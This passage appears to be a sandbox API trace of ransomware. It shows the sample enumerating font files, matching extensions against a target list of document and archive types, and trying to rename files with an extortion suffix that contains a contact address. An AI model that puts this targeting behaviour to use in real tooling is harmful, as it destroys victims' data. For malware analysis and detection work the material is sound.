lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.833] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.833] lstrlenW (lpString=".dbf") returned 4 [0223.833] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.833] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.833] lstrlenW (lpString=".1cd") returned 4 [0223.834] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.834] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.834] lstrlenW (lpString=".jpg") returned 4 [0223.834] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.834] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.834] lstrlenW (lpString=".doc") returned 4 [0223.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString=".docx") returned 5 [0223.834] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0223.834] lstrlenW (lpString=".pdf") returned 4 [0223.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString=".xls") returned 4 [0223.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString=".xlsx") returned 5 [0223.834] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0223.834] lstrlenW (lpString=".ppt") returned 4 [0223.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.834] lstrlenW (lpString=".zip") returned 4 [0223.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString=".rar") returned 4 [0223.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.834] lstrlenW (lpString=".bz2") returned 4 [0223.834] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.834] lstrlenW (lpString=".7z") returned 3 [0223.834] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.835] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.835] lstrlenW (lpString=".dbf") returned 4 [0223.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.835] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.835] lstrlenW (lpString=".1cd") returned 4 [0223.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.835] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0223.835] lstrlenW (lpString=".jpg") returned 4 [0223.835] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.835] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0223.835] lstrlenW (lpString="kor_boot.ttf") returned 12 [0223.835] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0223.838] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=2373000) returned 1 [0223.838] CloseHandle (hObject=0x384) returned 1 [0223.838] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0223.838] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.838] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0223.838] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.838] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.838] lstrlenW (lpString=".doc") returned 4 [0223.838] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.838] lstrlenW (lpString=".docx") returned 5 [0223.838] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.838] lstrlenW (lpString=".pdf") returned 4 [0223.838] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.838] lstrlenW (lpString=".xls") returned 4 [0223.838] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.838] lstrlenW (lpString=".xlsx") returned 5 [0223.838] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.838] lstrlenW (lpString=".ppt") returned 4 [0223.838] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.839] lstrlenW (lpString=".zip") returned 4 [0223.839] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.839] lstrlenW (lpString=".rar") returned 4 [0223.839] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString=".bz2") returned 4 [0223.839] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString=".7z") returned 3 [0223.839] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.839] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.839] lstrlenW (lpString=".dbf") returned 4 [0223.839] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.839] lstrlenW (lpString=".1cd") returned 4 [0223.839] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.839] lstrlenW (lpString=".jpg") returned 4 [0223.839] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.839] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.839] lstrlenW (lpString=".doc") returned 4 [0223.839] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString=".docx") returned 5 [0223.839] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.839] lstrlenW (lpString=".pdf") returned 4 [0223.839] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.839] lstrlenW (lpString=".xls") returned 4 [0223.840] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.840] lstrlenW (lpString=".xlsx") returned 5 [0223.840] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.840] lstrlenW (lpString=".ppt") returned 4 [0223.840] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.840] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.840] lstrlenW (lpString=".zip") returned 4 [0223.840] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.840] lstrlenW (lpString=".rar") returned 4 [0223.840] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.840] lstrlenW (lpString=".bz2") returned 4 [0223.840] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.840] lstrlenW (lpString=".7z") returned 3 [0223.840] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.840] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.840] lstrlenW (lpString=".dbf") returned 4 [0223.840] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.840] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.840] lstrlenW (lpString=".1cd") returned 4 [0223.840] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.840] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0223.840] lstrlenW (lpString=".jpg") returned 4 [0223.840] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.840] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0223.841] lstrlenW (lpString="malgunn_boot.ttf") returned 16 [0223.841] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0223.843] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=174959) returned 1 [0223.843] CloseHandle (hObject=0x384) returned 1 [0223.843] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0223.843] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.843] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.844] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.844] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.844] lstrlenW (lpString=".doc") returned 4 [0223.844] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.844] lstrlenW (lpString=".docx") returned 5 [0223.844] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.844] lstrlenW (lpString=".pdf") returned 4 [0223.844] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.844] lstrlenW (lpString=".xls") returned 4 [0223.844] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.844] lstrlenW (lpString=".xlsx") returned 5 [0223.844] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.844] lstrlenW (lpString=".ppt") returned 4 [0223.844] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.844] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.844] lstrlenW (lpString=".zip") returned 4 [0223.844] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.844] lstrlenW (lpString=".rar") returned 4 [0223.844] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.844] lstrlenW (lpString=".bz2") returned 4 [0223.844] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.844] lstrlenW (lpString=".7z") returned 3 [0223.844] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.844] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.844] lstrlenW (lpString=".dbf") returned 4 [0223.844] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.844] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.844] lstrlenW (lpString=".1cd") returned 4 [0223.844] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.845] lstrlenW (lpString=".jpg") returned 4 [0223.845] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.845] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.845] lstrlenW (lpString=".doc") returned 4 [0223.845] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString=".docx") returned 5 [0223.845] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.845] lstrlenW (lpString=".pdf") returned 4 [0223.845] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString=".xls") returned 4 [0223.845] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.845] lstrlenW (lpString=".xlsx") returned 5 [0223.845] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.845] lstrlenW (lpString=".ppt") returned 4 [0223.845] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.845] lstrlenW (lpString=".zip") returned 4 [0223.845] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.845] lstrlenW (lpString=".rar") returned 4 [0223.845] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString=".bz2") returned 4 [0223.845] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.845] lstrlenW (lpString=".7z") returned 3 [0223.845] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.845] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.845] lstrlenW (lpString=".dbf") returned 4 [0223.846] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.846] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.846] lstrlenW (lpString=".1cd") returned 4 [0223.846] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.846] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0223.846] lstrlenW (lpString=".jpg") returned 4 [0223.846] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.846] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0223.846] lstrlenW (lpString="malgun_boot.ttf") returned 15 [0223.846] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0223.851] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=177414) returned 1 [0223.851] CloseHandle (hObject=0x384) returned 1 [0223.851] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0223.851] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.853] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.853] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.853] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.853] lstrlenW (lpString=".doc") returned 4 [0223.853] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.853] lstrlenW (lpString=".docx") returned 5 [0223.853] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.853] lstrlenW (lpString=".pdf") returned 4 [0223.853] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.853] lstrlenW (lpString=".xls") returned 4 [0223.853] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.853] lstrlenW (lpString=".xlsx") returned 5 [0223.853] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.853] lstrlenW (lpString=".ppt") returned 4 [0223.853] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.853] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.854] lstrlenW (lpString=".zip") returned 4 [0223.854] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.854] lstrlenW (lpString=".rar") returned 4 [0223.854] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString=".bz2") returned 4 [0223.854] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString=".7z") returned 3 [0223.854] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.854] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.854] lstrlenW (lpString=".dbf") returned 4 [0223.854] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.854] lstrlenW (lpString=".1cd") returned 4 [0223.854] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.854] lstrlenW (lpString=".jpg") returned 4 [0223.854] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.854] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.854] lstrlenW (lpString=".doc") returned 4 [0223.854] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString=".docx") returned 5 [0223.854] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.854] lstrlenW (lpString=".pdf") returned 4 [0223.854] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.854] lstrlenW (lpString=".xls") returned 4 [0223.854] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.854] lstrlenW (lpString=".xlsx") returned 5 [0223.855] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.855] lstrlenW (lpString=".ppt") returned 4 [0223.855] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.855] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.855] lstrlenW (lpString=".zip") returned 4 [0223.855] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.855] lstrlenW (lpString=".rar") returned 4 [0223.855] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.855] lstrlenW (lpString=".bz2") returned 4 [0223.855] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.855] lstrlenW (lpString=".7z") returned 3 [0223.855] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.855] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.855] lstrlenW (lpString=".dbf") returned 4 [0223.855] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.855] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.855] lstrlenW (lpString=".1cd") returned 4 [0223.855] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.855] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0223.855] lstrlenW (lpString=".jpg") returned 4 [0223.855] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.855] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0223.855] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0223.855] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0223.856] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=162331) returned 1 [0223.856] CloseHandle (hObject=0x384) returned 1 [0223.856] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0223.856] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.857] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.857] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.858] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.858] lstrlenW (lpString=".doc") returned 4 [0223.858] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.858] lstrlenW (lpString=".docx") returned 5 [0223.858] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.858] lstrlenW (lpString=".pdf") returned 4 [0223.858] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.858] lstrlenW (lpString=".xls") returned 4 [0223.858] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.858] lstrlenW (lpString=".xlsx") returned 5 [0223.858] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.858] lstrlenW (lpString=".ppt") returned 4 [0223.858] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.858] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.858] lstrlenW (lpString=".zip") returned 4 [0223.858] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.858] lstrlenW (lpString=".rar") returned 4 [0223.858] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString=".bz2") returned 4 [0223.859] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString=".7z") returned 3 [0223.859] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.859] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.859] lstrlenW (lpString=".dbf") returned 4 [0223.859] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.859] lstrlenW (lpString=".1cd") returned 4 [0223.859] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.859] lstrlenW (lpString=".jpg") returned 4 [0223.859] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.859] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.859] lstrlenW (lpString=".doc") returned 4 [0223.859] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString=".docx") returned 5 [0223.859] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.859] lstrlenW (lpString=".pdf") returned 4 [0223.859] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.859] lstrlenW (lpString=".xls") returned 4 [0223.859] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.859] lstrlenW (lpString=".xlsx") returned 5 [0223.859] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.859] lstrlenW (lpString=".ppt") returned 4 [0223.859] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.860] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.860] lstrlenW (lpString=".zip") returned 4 [0223.860] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.860] lstrlenW (lpString=".rar") returned 4 [0223.860] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.860] lstrlenW (lpString=".bz2") returned 4 [0223.860] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.860] lstrlenW (lpString=".7z") returned 3 [0223.860] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.860] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.860] lstrlenW (lpString=".dbf") returned 4 [0223.860] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.860] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.860] lstrlenW (lpString=".1cd") returned 4 [0223.860] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.860] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0223.860] lstrlenW (lpString=".jpg") returned 4 [0223.860] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.860] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0223.860] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0223.860] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0223.862] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=154427) returned 1 [0223.862] CloseHandle (hObject=0x384) returned 1 [0223.862] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0223.862] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.862] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.862] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.863] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.863] lstrlenW (lpString=".doc") returned 4 [0223.863] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString=".docx") returned 5 [0223.863] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.863] lstrlenW (lpString=".pdf") returned 4 [0223.863] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString=".xls") returned 4 [0223.863] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.863] lstrlenW (lpString=".xlsx") returned 5 [0223.863] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.863] lstrlenW (lpString=".ppt") returned 4 [0223.863] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.863] lstrlenW (lpString=".zip") returned 4 [0223.863] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.863] lstrlenW (lpString=".rar") returned 4 [0223.863] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString=".bz2") returned 4 [0223.863] lstrcmpiW (lpString1=".bz2", 